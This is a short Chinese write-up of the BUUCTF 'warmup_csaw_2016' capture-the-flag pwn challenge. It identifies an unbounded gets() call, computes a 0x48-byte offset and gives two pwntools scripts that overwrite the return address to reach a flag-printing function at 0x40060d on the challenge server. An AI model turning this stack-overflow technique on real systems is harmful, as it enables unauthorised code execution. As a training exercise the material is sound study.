> 文章列表 > BUUCTF-warmup_csaw_2016

BUUCTF-warmup_csaw_2016

BUUCTF-warmup_csaw_2016

1.checksec/file

64位的linux文件

2.ida

找到主函数

 发现致命函数 get() 因为get可以无限输入

看看有没有什么函数我们可以返回的

双击进入sub_40060d

 直接发现这个函数是取flag的 所以我们开始看这个函数的地址

 所以函数地址是 0x40060d

我们看看get什么时候开始的

发现get是40h开始 然后因为64位有8位的rdp 所以需要40h+8

40h=64    --->  64+8

或者0x40+0x08=0x48

3.exp

from pwn import *
p=remote('node4.buuoj.cn',27652)
payload=b'A'*64+b'B'*8+p64(0x40060d)
p.sendline(payload)
p.interactive()from pwn import *
p=remote('node4.buuoj.cn',27652)
payload=b'A'*(0x40+0x08)+p64(0x40060d)
p.sendline(payload)
p.interactive()

两个一样的